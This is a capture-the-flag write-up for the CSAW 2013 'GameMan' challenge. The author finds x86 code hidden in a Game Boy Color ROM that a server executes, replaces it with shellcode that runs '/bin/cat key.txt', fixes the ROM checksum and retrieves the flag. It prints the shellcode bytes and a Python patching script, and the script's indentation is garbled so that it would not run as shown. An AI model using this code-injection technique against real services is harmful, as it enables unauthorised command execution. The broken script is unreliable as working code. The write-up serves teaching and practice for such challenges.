CSAW 2013: GameMan

nc 128.238.66.223 1025 < hello_world.gbc

This challenge gives you a gameboy color rom that you have to send to the server, which in turn will respond with some text output of your rom, in this case “hello world!”… wait what? If you put the provided rom into an emulator, it will boot but it seems it won’t do anything at all.

Lets look at the hexdump:

00000150  90 68 0a 00 00 00 68 72  6c 64 21 68 6f 20 57 6f  |.h....hrld!ho Wo|

As you can see, there are parts of the “hello world!” string, in 4 byte chunks and reversed. But since when is the gameboy color a 32bit little endian architecture? Turns out, this is just plain x86 code at offset 0x156.

push    21646C72h
push    6F57206Fh
push    6C6C6548h
mov     eax, 4
mov     ebx, 1
mov     ecx, esp
mov     edx, 14h
int     80h
mov     eax, 1
int     80h

So let’s just modify this code and send the new file to the server (I inserted some code instead, that will call “/bin/cat *’.

Insert Cartridge...
Loaded: CSAW CTF 2013
global checksum is NOT OK

Ok, so it turns out, the gameboy color file format has a checksum over the whole file in it’s header, which is just the sum of all bytes mod 2**16 in big endian format. Let’s recalculate the checksum and try it again:

Insert Cartridge...
Loaded: CSAW CTF 2013
OK
OK
OK
key{gameboy_is_not_dead}

Not really hard, but a really fun challenge though.

The final code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python

import sys
import struct

sc = "\x60\x6a\x0b\x58\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x6a\x74\x66\x68\x74\x78\x68\x6b\x65\x79\x2e\x89\xe1\x52\x51\xeb\x06\x53\x89\xe1\xcd\x80\x61\xe8\xf5\xff\xff\xff\x6b\x65\x79\x2e\x74\x78\x74"

sc_off = 0x156

filename = sys.argv[1]

with open(filename, "r+") as f:
  f.seek(sc_off)
    f.write(sc)
    f.seek(0)

    data = f.read()
    checksum = struct.unpack(">H", data[0x14e:0x150])[0]

      data = map(ord, data)
    data[0x14e] = 0
      data[0x14f] = 0

        new_checksum = sum(data) % (2**16)
    if checksum == new_checksum:
        print "already fixed"
            exit(0)
    f.seek(0x14e)
    f.write(struct.pack(">H", new_checksum))